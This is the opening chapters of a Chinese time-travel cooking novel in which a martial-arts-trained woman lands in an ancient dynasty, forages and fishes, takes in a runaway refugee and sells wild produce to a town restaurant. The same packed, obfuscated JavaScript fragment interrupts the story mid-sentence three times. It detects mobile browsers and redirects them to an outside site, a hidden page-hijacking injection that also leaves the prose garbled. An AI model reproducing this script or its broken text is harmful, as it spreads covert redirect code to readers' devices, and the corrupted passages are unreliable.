《古代种田开客栈日常（美食）》 1. 第1间客栈 云音醒来时发现自己躺在一处山坡上，她记得今天去找苏奶奶学做蘑菇酱，与苏奶奶告别后，带着做好的蘑菇酱正往住的院子走。 之后还发生何事，她此时头脑一阵眩晕，回忆半晌才想起，对了她还遇到赵欣欣，欣欣姐把之前自己借给她的书还回来了，那些书呢？ 云音坐起身四处打量，在她身边发现一篮子蘑菇酱，还有一个帆布包，她打开看了看，果然是自己借给欣欣姐的那几本书。 蘑菇酱和书都在，她起身看向四周，周围树木簌簌作响，远处还有鸟雀叽叽喳喳的叫声。 云音看了许久，终于确认这里不是云雾村。 云音想到当时卷着她的那团云雾，那股云雾来势汹汹，即便是她也是一眨眼的功夫就被卷走，也不知云雾村的其他人怎么样了。 她的失踪会不会给村子带来什么不良影响？毕竟云雾村是深山处的一个小景点，每年前去旅游的人并不多，若是因为自己失踪，给村子带去不好的影响，云音会很愧疚的。 云雾村的人都很淳朴，云音在村子住了快两个月，每个人对她都很关心。特别是孙奶奶，听说她想学做蘑菇酱，一点都不藏私，就连她给的钱也不要。所以她不想因为自己的缘故，给那个小村子带来不好的影响。 想到蘑菇酱，云音低头看看还完好无损的几十个罐子，仿佛还能从那透明玻璃中尝到那份鲜美的味道。 云音吞咽一丝口水，收回视线继续打量周围，也不知如今她去了哪里。 云音并不知道她的离去并没有给云雾村带来不良影响。在村子里遍寻不到她时，村长就报警处理了。 可惜警方也并未查到蛛丝马迹，倒是有研究机构发现这里的云雾对身体有益，常住能调养身体。 随着这一结论被人发现，云雾村也成了热门景点，也只有当年对云音有印象的云雾村人，还记得她。苏奶奶每年都要为云音祈福，希望她平安健康。 而此时的云音自然是半点也不知晓，她探查完周围环境，并未发现危险，这才将蘑菇酱和书藏好，往山下走去。 刚走到山下，隐约听见不远处传来呵斥声，不过被潺潺流动水声遮盖，听得并不是特别清晰。 云音就着溪水洗了把脸，清醒几分，整理一下褶皱的衣服，将散落的发丝重新挽起来，慢慢往声音传来的方向走去。 还未走近，看见前方一群带刀的人，正在追捕十几个衣衫褴褛的人。云音发现他们有往自己这边跑的趋势，连忙寻了一棵高大的树木躲了上去。 此时的一群人跑到离大树不远的地方，那群带刀的人骂骂咧咧道：“跑什么，跑什么，你们这群流民，赶紧给我停下，否则就不是做苦力这般简单了。” 云音站在树上听到了缘由，原来这是一群从陇右逃灾而来的流民。 去年陇右遭遇蝗灾，粮食歉收，米价飞涨，百姓不得不四处逃荒寻找粮食，这群人就是从陇右逃到剑南道的。 从这群人嘴里，云音知道她如今身处剑南道，看着羁押流民离去的衙役，云音紧了紧衣袖，察觉到自己处境不妙。 听那群衙役的意思是，如今县里正缺苦力修水利，那些流民都被抓去做苦力了，若是女子，被抓住则会随意配人。 县里还有许多汉子兵丁都是光棍，不论是小娘子还是寡妇，只要没有户籍，被发现都会抓去配人，为县里增添人口。 对于县令来说，增添人口也是一大功绩，有了媳妇，那些闲汉兵丁才不会闹事。 可这对身无分文，还没有户籍的云音来说，就是一个大麻烦。 她皱了皱眉，看向远去的衙役陷入沉思。 剑南道？陇右？难道这里是大唐吗？ 刚刚那些人说的话云音都能听懂，若真的是唐朝，她不应该能听懂才是。 恰在此时，一队人马从远处行驶而来，他们也发现前方混乱，赶紧把马车停在路边，派人前去打探消息。 云音看着这一群带着货物的人像是行商之人，小心靠近。好在她从小就一直学武，哪怕后来父亲去世，她也没有放弃，轻手轻脚靠近打探情况，一般人还真不会发现她。 果然等她靠近他们落脚点旁的茅草屋，也没有人发现她的踪影。云音小心翼翼蹲在茅草屋角，听着众人的议论。 “管事，我刚刚打听清楚了，他们不是盗匪，只是从陇右逃过来的流民。” “如今那边过来的流民越发多了，官差让我们在路上行走要小心。” 那管事蹙眉道：“这几年大昭处处遭灾，前年才糟了霜灾，今年好容易才安生点，流民又来了。” “希望我们回去的路上不要遭遇盗匪，不然这日子是过不下去了。” “算了，不休息了，我们也赶紧走，早日到达绵州，今年就先不出门了。” 那伙计连忙招呼其他人，收拾东西走了。 云音等他们走后，从茅草屋的角落出来。 看着四周荒无人烟，身后的茅草屋还算能遮风挡雨，她打算没解决身份问题时，先在这里落脚。 衙役刚刚离开，短时间内应该不会再来，若有什么异常，这里靠近官道，也能第一时间发现。 云音检查这个茅草屋，这屋子搭建的简陋，只是用木头和茅草搭建而成，屋内也没有任何东西，应当只是用来给过路人歇脚的地方。不过好在可以躲避风雨，短暂停留一段时间应当不成问题。 只是不知是否会有其他商队在此地落脚，若是人多，她一人恐怕也不安全。 她抬头看看已经从山峦处冒出头的太阳，决定先去她出现的山坡再仔细看看，若是可以，在那处也寻一个住所，若是商队人多，避开就好。 等她从茅草屋出来，穿过一片灌木丛，又回到刚刚那条小河。 流动的溪水轻轻拍打着河岸，偶尔还有些鱼自由自在游来游去，时不时就去河边草丛中游荡。或许是这里从来没有人来过，这些鱼也不怕生，云音从它们身边走过，也没有惊动它们。 她顺着河水往左边看去，河水尽头隐约能听到江水流动的声音。 云音沿着河水往上走，果然看见一条缓缓流动地江水蜿蜒而下，对面还有一条隐秘的小道，也不知是通往何处。 就在她发呆时，余光瞧见远方有一黑点出现，她连忙躲进河边的树林中，看着一艘船从远方划来。等那船只走远，她收回视线回到之前的河道，从裸露的石头上穿过，回到之前那片山坡。 她藏起来的篮子和帆布包仍旧安然无恙，云音轻轻松了口气。 这处山坡下有一块平地，或许可以将这里作为暂时落脚地，之后想办法搭建一个茅草屋。 云音藏好蘑菇酱，拿着篮子进山，暂住地选好，之后就要寻些吃的。 看那群大昭人的穿着，如今应该是初春，等看到熟悉的野菜，荠菜，马兰头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178737|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等她认识的野菜时，云音才确定如今果然是春天。 而她穿越前却是八月，八月正是吃菌子的时候，她会前往云雾村正是听说云雾村的孙奶奶做的蘑菇酱一绝。孙奶奶做的蘑菇酱确实是好吃，哪怕吃了两个月，她也仍旧没有吃腻。 想到苏奶奶还给了她一瓶鸡枞油，那口齿留香的味道仿佛仍旧流淌在唇齿边，她咽了咽口水，将那股馋意咽回肚中。 想到苏奶奶，想到从苏奶奶那里学到的手艺，云音轻叹一声，也不知她该有多担心。 明明她与苏奶奶相处也不过两个月不到的时间，可她却觉得苏奶奶就像她的亲奶奶一样温柔。 或许苏奶奶对人皆是如此，可这却是奶奶去世后，她再次体会到亲情的感觉。 至于她的父亲，她不知是何心情，他对自己肯定是有感情的，但在他眼里总有更重要的东西，她永远不是第一位而已。或许她不应该怪他，毕竟他为她提供了良好的生活，可也正是他让自己常常觉得喘不过气来。 从小到大，云音天不亮要起来习武，不论寒暑，总是有数不清的训练等着她。 若只是如此也就罢了，可她却丧失自己一切时间。别人跟着朋友去逛街看电影时，她在训练，别人看电视玩游戏时，她在训练。 这么多年来，她一个要好的朋友都没有，朋友也是需要来往的，可她却连陪朋友的时间都没有。 后来他父亲为了振兴家里的武馆，还将她送去剧组当演员，希望终有一日能通过她的名气扩大武馆的名气。 许是因为云音长的还不错，一双大大的杏眼盈盈如水，笑起来时仿佛盛满整个春日，再加上她的武打戏很精彩，她还当真小火了一下，网友说她长着一张初恋脸，不笑时清清冷冷冷，笑起来能甜死人。 自从她有点名气后，家里的武馆也从无人问津变得有人询问。这下更是让她父亲确定没有选错路，可云音却不喜欢。 她不喜欢被人关注，这会让她没有安全感，她更喜欢躲在厨房里，做着让人愉悦的美食，就像小时候奶奶给她做吃食时，体会到的幸福。 她也想让别人体会到这样的幸福。 可这样的日子在奶奶去世后再也没有了，想到父亲临死前的遗愿，希望她能振兴武馆，她也不知道该怎么告诉她父亲。 学武是一件很辛苦的事情，而在现代，孩子越来越少，也越来越金贵，很少会有人愿意让孩子去吃这份苦。 她愿意去学，那也是因为她并不讨厌学武，但就连她也更愿意去做自己喜欢的事情。 想到父亲的遗容，云音不禁摸了摸腰间绑着的鞭子，或许留在大昭也不错。或许还真能振兴武馆，可惜云音并没有这样的目标，她更愿意做些好吃的，养一只小狗和猫，过着平凡却幸福的生活。 云音不再胡思乱想，还是想想今后怎么办吧，她收回思绪打量四周，前方不远处有一片竹林，如今初春，正是吃春笋的时候。 她看一眼身上的穿着，正是她平日里穿的白色练功服，这衣服很有一番古韵，用他父亲的话说，拍武打视频很飘逸，所以她的练功服都是这种。 好在这衣服里面是棉质，穿起来很舒服，所以她并不排斥这衣服，平日不外出时，都是穿这一套。 云音从怀中拿出几根红绳将裤腿和袖口绑好，以免山中的虫蚁钻进去，等一切准备功夫做好，她提着篮子走向那片竹林，打算去掰点竹笋。 2. 第2间客栈 这一片竹林很大，前面一片长着些细竹笋，越往山里竹笋越粗，云音随意看了眼后面那些粗竹子，还是打算先去掰点细竹笋。 等之后有了工具，再来挖那些粗的竹笋。 掰笋子是极其解压的一件事，听着清脆的“咔嚓”声，只觉得浑身舒坦。云音一时入迷，直到笋子堆了满满一地才反应过来。她起身伸伸懒腰，捶了捶有些酸的腰，活动一下筋骨，正要将笋子捆起来时，突然听见一阵窸窸窣窣的声音。 她抬头看去，只见一只体型硕大的竹鼠从竹林深处探头探脑，动作小心翼翼，时不时还回头看一眼，那可爱笨拙模样让人忍不住升起怜爱之心。 可云音眼中却冒出星光，这可是好东西，竹鼠肉没有腥膻味，肉质细嫩鲜甜。她曾经吃过养殖的竹鼠，那味道至今也无法忘怀。不管是清炖、红烧、干锅、烧烤都是一绝，越想越馋，口水都快要流出来了。 云音不等那只竹鼠反应过来，抽出腰间的鞭子，嗖嗖两下把那只竹鼠捆了起来。 看着这只硕大的竹鼠，想到林子里说不定还有，她连忙从旁边的藤蔓上取了一根藤，把这只竹鼠绑起来，连旁边的笋子也不管了，将竹鼠放进篮子中，提着篮子继续往竹林深处找去。等把这片竹林都走了一遍，最终又抓了两只肥硕的竹鼠。 她提着大竹鼠往回走，路过一片陡坡，本来她并没有留意坡下，直到一阵风吹来，带来一股奇特的香味。 这味道……云音仔细嗅了嗅，这是香椿的味道啊。香椿不论是炒鸡蛋还是凉拌都好吃，不过有些人也受不了香椿的气味，对于喜欢的人来说是美味，对于不喜欢的人，估计闻一闻都要受不了。云音就极喜欢那股独特的香味，每年春天她都要买一些香椿回来做些好吃的。 亲自采香椿还是小时候的事情，后来她随老爸去了市里，就再也没有采过了。 闻到这股香味，云音的心情也欢快起来。这里食材这么多，还都是无污染纯天然绿色的好食材，她就如同一只老鼠掉入了米缸，瞬间觉得穿越也没什么不能接受的。 除了会惦记苏奶奶的情况，以及那些还没吃过的各种美食，还有现代各种便利的生活。想到以后再也吃不到那些水果，还有夏天各种糖水冷饮，刚刚还有些雀跃的心情又有些低落。 算了，想这么多做什么，能好好活着就好好活着，以后的事情以后再说。 不再胡思乱想，云音将已经发芽的香椿摘了，剩下才刚刚冒芽不久的香椿，等再长一段时间，再来摘它们。 云音提着竹鼠和香椿往回走，她眼尖看见前面不远的坡下有棵榆钱树。 一串串绿色圆圆的叶子挂在树枝上，就像一团团铜钱一般，所以被称为榆钱。这棵榆钱树高大粗壮，榆钱叶子也密密麻麻长满整棵大树，云音提着篮子爬上树梢快速摘起来。 榆钱采摘起来很方便，轻轻一摘能摘一大片，她摘了满满一筐，她算是发现，这个山里吃的真的很多，若是没有灾荒，确实挺适合生活的。 但若是遇到荒年，恐怕就连这些野菜都不会有，都被流民们抢食干净，至于这里为何没有流民，或许与那些四处抓人的衙役有关吧。 听之前那群行商之人闲聊的时候提起过，顺着官道一直往前，有一个镇子，镇子继续往前要走许久才能到县城。进县城需要户籍，但镇上却不需要，只要小心路上的衙役，她可以带着这些野菜去镇上看看情况。 不知道能不能换些铜钱，就算不能换钱，换些吃食也可以。 她从树上下来，拿几片榆钱嚼了起来。生的榆钱吃起来有些甜丝丝的味道，而且越嚼越香甜，用榆钱拌豆腐也是一道清爽可口的菜肴，清香的榆钱和嫩滑的豆腐融合，那味道让人回味无穷。 等云音回到之前掰竹笋的地方时，也到了该吃早饭的时候。可惜她没有锅，也没有刀，光用石头也无法处理竹鼠，这些竹鼠她是没有口福，只能带去镇上换钱。 只是那些衙役有些麻烦，要躲着些，不能被他们发现自己的身份。也不知镇上是什么情况，对她这种外来人查的严不严。 多想也是无意，既然打算去镇上，便要多准备点东西，蘑菇酱肯定是不能带的，她没有东西装，玻璃罐子是不能暴露的，只能去镇上换了铜钱再买点普通陶罐换上。 云音放下篮子扯了一些藤蔓，编起藤筐来。藤蔓编的筐子，手艺好的是可以装重物的，可她并没有这个手艺，只是看别人编过，编出来的筐子并不能装重物，不过用来装野菜还是可以的。 云音带着编好的藤筐又往山里跑一趟，不一会就装了满满一筐野菜。之前看见的荠菜，马兰头也摘了不少。 至于竹笋就放在篮子里带下山，云音吃了些认识的野果解解渴，带着这些山货回到之前的河边。 河边水草边的鱼仍旧无忧无虑游来游去，并不知道，它们马上就要命不久矣。 云音找了一根木棍，对着河水比划两下，快狠准一下叉入河水中。等再将棍子拿出来时，棍子上已经叉了一条肥大的鱼。 拿着这条鱼用薄薄的石片刮麟去鳃，处理干净后用棍子穿起来拿到篮子边，放到用木棍搭好木架上。 鱼处理好就是生火，树枝干草松针她都捡了不少，如今剩下的就是火种。 钻木取火她倒是知道方法，但一时半会儿肯定生不起来，好在她还记得小时候玩过的燧石，这种石头能在河边捡到，她在河边寻摸许久，终于找到两个大小合适的燧石。 燧石是一种可以用来取火的石头，云音小时候用这种石头点火玩过，还被奶奶揍了一顿，即便长大，这事也没被她遗忘。 “砰砰”在一阵阵撞击声中，些许火星在碰撞中迸发，遇到干燥的松针干草，很快一阵黑烟冒出。云音将一些细柴放在刚刚冒出的火星中，等火光越来越大，将大块木柴也放入，火烧的越来越旺。 没有盐也没有其他调料，好在有蘑菇酱，哪怕没有任何味道的烤鱼，也很有一番风味。云音看着已经滋滋冒油的烤鱼，给它翻了个身，起身去拿一瓶蘑菇酱回来。 等待烤鱼途中，云音去树上把欣欣姐还给她的书拿出来，她当初只借了她一本药膳书，以及一本介绍五谷蔬菜的书，除了后面她放进去的一本学习美食的笔记，其他书都不是她的。 打开一看，果然多了两本书，《养殖大全》，《种植大全》，云音随意翻看两页，里面介绍各种农作物的种植方法，家禽等养殖方法，就连沤肥方法都有。 云音小心将这几本书收好，若是以后在这里生活，说不得欣欣姐给她的书能派上大用场。就是不知欣欣姐怎么会有这些书，可惜这个答案她是不会知道了。 云音把这些书放回帆布包收好，闻着已经冒着香气的鱼肉，又翻了翻鱼身，去不远处的灌木林中找几片大叶子，清洗干净放在一个木墩上，拿出刚刚取来的那瓶辣蘑菇酱。 才打开蘑菇酱，一股浓郁香气弥散开来，就连鱼肉的香气都没能盖住这股香气。看着已经烤的焦黄的鱼肉，云音取一条放在木墩上，用木棍夹一筷子蘸着蘑菇酱的鱼品尝起来。 外皮烤的金黄酥脆，鱼肉嫩滑细腻，没有一点土腥气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178738|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，非常新鲜。加上蘸着的蘑菇酱，一股辛辣咸香从舌尖传来，混合着鱼鲜让烤鱼更加美味。哪怕鱼肉没有腌过，也自有一股独特的甜味。 鱼肉和蘑菇的融合，让本就鲜美的食物变得更加鲜美，仔细品尝还能尝到鱼肉的清甜。 云音很快蘸着蘑菇酱吃完一条鱼，吃饱后，她熄灭火堆，又用河水泼一遍，确保没有火星存留，提着捆好的竹鼠，以及一篮子竹笋和野菜朝官道方向走去。 此时太阳已经高高挂起，官道上早已没有人流往来，直到云音独自一人走了许久，终于在前方发现有人影出现。 云音没有在意那人，可那人却好似看见什么稀世珍宝，激动朝她奔来，嘴里还在嘀咕着些什么。 她没等那人靠近，瞧见他有异常，动作迅速抽出鞭子挥向袭击者。鞭子噼里啪啦把那人身上的衣服打破，在他身上留下一道道伤痕。他并不清楚他攻击的是有武艺之人，直到把他捆好，云音还能在他脸上瞧见不可置信的神情。 云音并没有废话，直接拉着他往路边的山林走去。 “放开我，放开我。”那衣衫褴褛的男子挣扎想要挣脱束缚，可越挣脱鞭子绑的越紧。他最后手脚无力跟着云音进了树林。 “你不是被抓走了吗？”云音也是仔细打量之后，才发现这人就是之前被衙役抓走的人中的其中一个。 那年轻男子哭丧着脸道：“我又逃走了，谁愿意去挖水渠啊，我好不容易才从陇右逃出来的。” “若不是在家乡活不下去，我也不会沦落到做流民的地步。” 云音听着他的絮絮叨叨，打断他道：“既然如此，那你现在为何不归乡，就算去年陇右遭遇蝗灾，今年又没有，你可以回乡啊。” “你以为我不想吗？”那青年气急败坏往地上一坐，灰头土脸道，“回去我也没有土地了，我们这些人，土地早已被收回，就算回去，衙门里也是不认的。” “大家也只能做流民，到处流浪，好歹还能活着。” “可谁知龙安县竟然抓流民修水渠，这要是去了，怕是连命都没了。”那青年拍了拍胸脯道，“还好我机灵，跑出来了。” 云音冷哼一声道：“所以你就来打劫我？” 那男子垂头丧气道：“我并不是想打劫你，我只想找你借点银子。听说在龙安县只要交两贯钱，就可以落户籍分土地了。” “两贯钱是很贵，但只要想到被衙门抓住就要修水利，那还是去想办法弄钱好了。”那青年沮丧道，“我不想做流民了，一直被衙役追捕，若是不小心被大户人家抓去，恐怕要落入贱籍了。” 他叹口气道：“贱籍比修水利还惨，落了贱籍一辈子都是贱籍，日后子子孙孙都是贱籍。” “我这不是看你孤身一人，气质不俗，以为能找你借点钱吗？”那男子搓了搓手道，“我不会伤害你的，只是想先落籍，若是你同意，我还能把分到的地分你一半”。 他眼巴巴看着云音道：“娘子，你信我，只要你借我钱，我肯定分你一半地，我们可以签契约的。” 云音上下看看这男子，身材高大，手脚也很长，站起来让人很有压迫感，怪不得敢拦路抢劫。 虽然他说是找自己借钱，但他有逼迫之嫌，谁知他到底是想打劫还是想如何呢？ 云音看着他，一时半会儿竟不知该如何处置他。放了，肯定是不行的，若不是她会武，今日要遭遇什么还不好说。 但要是送官，不说她身份问题，就说送官就是送他去死，她也做不到啊，云音一时之间竟陷入两难。 3. 第3间客栈 “你会修建茅草屋吗？”云音看着还沮丧着的青年道。 “茅草屋？这有什么难的。”那青年眼前一亮道，“你还有什么要做的，我都可以，只要你放了我，一切都好说。” 云音不理他，继续问：“除了种地，还有什么手艺？” 那青年爬起身来急切道：“我还会一点点竹编，虽然手艺没到家，但简单的我可以编。” 他本想挠挠头，却被束缚住双手无法动弹，只得放弃憨笑道：“就是可能不怎么耐用，没办法拿去换钱。” “不过你放心，自己平日用还是没问题的，只是可能要经常更换。” 越说他越不好意思，一脸期待看着云音。 云音抽回鞭子，继续困住他手道：“你先跟我去镇上，等从镇上回来我再安排你干活。” “放你是不可能的，你确有胁迫之意，让你帮我干活改正吧。” “你叫什么？” 那青年甩了甩手臂道：“好叫小娘子知道，我叫张林，别人都叫我林子。” “家是陇右文县的……” 云音没有打断他的长篇大论，从他絮叨中不仅知道他家里只剩他一人，还知道他家乡具体情况，也大概了解龙安县的一些情况。 眼见着越来越靠近镇子，张林连忙拉住云音道：“哎，云娘子，我不能去镇上。” 在路上时，云音已告知他姓名，如今他便称呼她为云娘子。 张林拉着云音往路边躲去，指着自己衣服道：“我如今衣服破破烂烂，身上还有鞭痕，一看就是流民，镇上的帮闲见了，肯定会拉我报官。若是以为我是逃犯，那可能就没命了。” 云音看看他的衣服，确实破破烂烂，再加上她之前用过鞭子，此时更破烂了，就连里面的红痕都清晰可见。 云音看一眼四周，见没人看他们，拉着走进树林，选一棵高大的树木，用藤蔓把他捆在树上，等确定没问题后她道： “你就在这里等我，我去去就回，我们说好的，你为我做工一年，我包你吃住。若是你表现良好，我就去里正那里为你落临时户籍，正式与你签订用工契书。” “但以防万一，你还是先在树上待着，避免遇上之前的衙役。” 张林看着树下的云音，哭丧着道：“云娘子，你把我绑在树上，若是遇上衙役怎么办，那我不就直接被抓了吗？” 云音看他树上动来动去，叶子都被他晃悠掉不少，她悠悠道，“只要你不出声，衙役是发现不了你的。” 她特意选的一棵大树，就算抬头仔细看，都未必能看出什么，只要他不发出声音，怎么会被人发现。 云音拍拍手，提起树下的篮子对张林道：“好了，我很快就回来，你好好在树上待着吧。” 说完出了树林连忙追上之前的人群，跟着他们一起进镇。镇子入口果然有人在巡查，那人瞧了云音好几眼，但见她一脸坦荡，又见她衣裳干净无补丁，并不似寻常人家的小娘子，便也不敢多问，连忙让她进了镇子。 云音见那帮闲果然让她进镇，顿时松了一口气。幸好她在进镇前，用在剧组学的一点手艺，把自己打扮一番，在加上她坦坦荡荡，果然没让那帮闲询问。 不过这个法子也就能用一两次，若是她经常去镇上，肯定还是会引来人的。毕竟她也是听说了，最近不论是镇上还是县里，对于陌生面孔查的都很严。 就连镇上入口都有人守着，云音不得不提高警惕。 进了镇子，云音跟随人流穿过一座拱桥，正式踏入镇里。 平溪镇并不是很繁华的镇，大的饭馆只有一家，其他大多是农户摆的摊位，多是卖的农副产品，偶尔能看见卖吃食的，也是包子烧饼一类的。 云音大致逛了一遍平溪镇，提着篮子往专门贩卖蔬菜蛋肉走。途中偶遇一妇人，提着一个木桶颤颤巍巍走着，路过云音时差点摔倒，被她及时扶住，这才避免一场祸事。 “哎呀，多谢小娘子啊。”那妇人连忙放下大桶，连声道谢，“若不是小娘子，我今日就白做了。” 云音摇摇头道：“哪里，我也就帮把手。” 那妇人看一眼云音的篮子问：“小娘子也是来镇上卖东西的，正好我也要去，娘子要与我一起吗？” 云音正缺人带路，连忙答应道：“那我帮阿嫂抬一下。” 刚碰到大桶，云音就闻到一股豆子的清香，她一边帮忙，一边问：“嫂子卖的是豆腐？” 那妇人笑着道：“娘子好鼻子，确实是豆腐。” 二人随着人流来到一处地方，那妇人放好东西，才问云音：“娘子卖的什么？我刚刚看到一筐笋子，你不会只卖这些吧。” 云音拿出背着的野菜，又将一直放在一边的竹鼠提出来道：“就这些了。” “哎呀，这竹鼠可真肥。”她咽咽口水道，“不过妹子啊，你只卖这些吗？虽然竹鼠是肉，但一般人还真不会买这肉吃。” “要吃也吃羊肉，虽然羊肉贵但买些猪肉也是可以的，猪肉有油水，若是猪肉也买不起，也会买鸡肉和鱼肉，像你这种肉摆摊是卖不出去的，油水不多，肉也没多少。” “你只能卖给饭馆，或者去县城卖，平常人家是舍不得买这肉的。”妇人又瞧一眼装着野菜的筐子，嘴微微抽搐还是忍不住道，“妹子啊，难道你家里人没跟你说，野菜也就自家会吃，这种苦滋滋的野菜，普通人家不会特意买的，又不是多富裕的人家。” “现在各种菜蔬也长起来，这野菜估计也卖不出去，不过榆钱倒是有人吃，可大家也不会用钱买，顶多以物易物。” “这年头谁家不是能省则省，像你卖的这些山里随处可见，在我们县也就只有饭馆偶尔会收购一点。” 云音听着嫂子越说越多，对于她来说这都是经验，她安静听着，见嫂子一脸好奇望着自己，越看越疑惑，云音不好意思低下头道：“阿嫂，我知道，可你也知道，村子里没什么能换钱的。” “鸡蛋这些东西可是家里贵重东西，我也只能在山上采点东西来换点铜钱，这竹鼠还是我好不容易才抓到的。” 那妇人收回疑惑，一脸认同道：“也是，农户人家想攒点钱也不容易，我要不是有点手艺，也赚不到钱。”说完又觉得不对，眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178739|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神落在她的衣服上，“哎，不对吧，妹子。你都穿这么好的衣裳，还缺钱？” 眼看这嫂子又起疑，云音不得不挠了挠脸颊道：“阿嫂，我也就这一套衣服，在家都不穿的。”她这话说得话也没错，在家她还真不穿这衣服，而这也是她如今唯一的衣服。 云音生怕这嫂子继续追问，连忙打断她道：“阿嫂好手艺，我看你这豆腐好吃的紧。” 她的话说得不错，这嫂子刚打开盖子，就有熟客走过来道：“方嫂，给我来一块豆腐，还是之前的价格吧。” “没错没错，还是3文。”方嫂轻手轻脚给那妇人装好一块豆腐，那豆腐非常大，只一块妇人带来的大碗便已装满。等买豆腐的妇人走后，方嫂才摆摆手对云音道，“我也就这点手艺，还好能贴补点家用。” “还没问妹子是哪儿的人，我还从来没见过像你这样白的娘子。”方嫂打量了云音的发髻一眼，虽然有些简单，但还是未婚娘子会梳的发髻，“妹子多大，你长得这样俊，家里没给你说亲吗？” 看来不论是古代还是现代，说亲都是逃不过的，她连忙转换话题，继续聊生意上的事。 就在此时一辆马车从他们前方经过，微风将车帘吹起，一个窈窕倩丽的女子若隐若现，那双坚毅的眼神一瞬间引起云音的注意。 许是云音看的时间过长，那女子顺着视线看过来，见是个美貌女子，只微微一愣朝云音笑着点点头。云音也朝她颔首回应，等那女子的马车离开，一直招呼客人的方嫂又偷偷挪过来道：“罗娘子是越发能干，如今都能用上马了。” 云音收回视线问方嫂：“这话怎么说？” “听说罗娘子是独女，家里有个饭馆，当初因为这产业，也闹了许久。还是罗娘子有魄力，说服家里招了赘，继承家业。” “若是日子就这样，罗娘子也不用担心后半生，可谁想成婚不过一年，她那夫婿就出意外死了，他们也没个孩子。”方嫂叹口气道，“就这么倒霉，她爹娘也得了风寒死了，这下说什么的都有，还有人说罗娘子不孝气死了父母呢。” “她那族里当初就因为产业起过纷争，这下更是不会放过罗娘子。” 云音被方嫂说的话吸引：“看如今罗娘子是度过难关了。” “要不说她能干呢，她为了保住家业，想办法立了女户。”方嫂佩服道，“虽说立女户只分一半田地，但铺子都能留下，而且罗娘子也是个能干人，如今她开的饭馆在镇上也是很有名的。” “我们镇上就这一家饭馆，娘子进镇就会路过的。”方嫂羡慕不已道，“所以还是要有本事，这有本事的人就是不一样啊。” 云音看一眼远去的罗娘子，又笑着对方嫂道：“阿嫂，你也很有本事的，你看你的豆腐卖的多好，我的野菜可是无人问津。” 方嫂笑了笑后道：“也是，我已经有一门持家的本事，不该奢求太多。娘子你或许可以找罗娘子问问，看看他们饭馆收不收野味。” 云音收好篮子，与方嫂点头道：“多谢阿嫂，我正要去看看。” 说完提着东西追着那辆马车往罗家饭馆走去。 4. 第4间客栈 罗娘子的饭馆很好找，就在镇子入口不远处，两层高的建筑，在这不富裕的平溪镇算是难得一见的。 此时正是吃午食的时候，饭馆里人来人往，很是热闹，云音站在门口看了一眼，往后门方向走去。 云音只拍了几下门，就有人过来开门，看到门口站着一个俊美娘子，那人迟疑片刻后问：“娘子有什么事？” 听到云音是过来卖东西的，想了想还是去院子把掌柜叫过来。罗娘子过来时也没想到，来的人是刚刚在路边看到的那个娘子，只停顿一会儿招呼她道：“娘子进来说话。” 云音打量这个院子一眼，随罗娘子进了间房，还没开口就听罗娘子道：“这位娘子如何称呼？不知这位娘子找我有什么事情？” 云音对罗娘子笑笑，脸颊微微泛红：“罗娘子叫我云音就好，我找娘子也不为别的，只是想问问娘子收不收山货。” 她将带着的三只竹鼠拿出来，这几只竹鼠一直被云音捆着，即使被提来提去也还活蹦乱跳。她又将篮子和筐子放地上道：“一些野菜野味，不知娘子的饭馆需不需要。” 罗娘子本不想买的，他们家饭馆的蔬菜都是从附近村子买的，就算偶尔有些差的，去外面街上随便买点就够用了。 可罗娘子看这眼前的娘子衣着不俗，气质也非普通人家能有的，而眼前这娘子虽然有些难为情，但仍想抓住机会，让她想到曾经的自己。她瞬间改变主意道： “是不错的山货，我们饭馆都用得着，若是娘子卖别的东西，我还真帮不了你，不过野菜有些客人也很喜欢，特别是这榆钱，拿来煮粥不错。” “这竹鼠肉质鲜美，清炖也很香甜，我给你50文一只，若是你日后还想卖竹鼠，也给我这边送来。至于这些榆钱和春笋我可以给你100文，剩下的野菜就不值什么了，镇子外面也有很多，我只能给你50文，你看这价格如何？” 云音听到这价格挑了挑眉，她也是找方嫂打听过的，这价格比她说的高多了。看来罗娘子是想要照顾她，她眉眼弯了弯笑道：“那就多谢罗娘子。” 想到方嫂的豆腐，又想感谢罗娘子一番，便开口道：“罗娘子你们一般是怎么吃榆钱的？” “拿来蒸饭或者煮粥。”罗娘子笑了笑道，“不过我们家饭馆还是以炖菜为主，所以很少煮粥。” 云音点点头道：“那不知会不会凉拌？” “凉拌？”罗娘子摇摇头道，“我们家不卖酒，所以很少做凉拌菜，不知云娘子是何意？” “你们家不怎么煮粥，买我的榆钱也是照顾我生意，我也不能让你破费，这样吧，罗娘子，我教你一个简单做法，日后你们也可多一道菜色。” 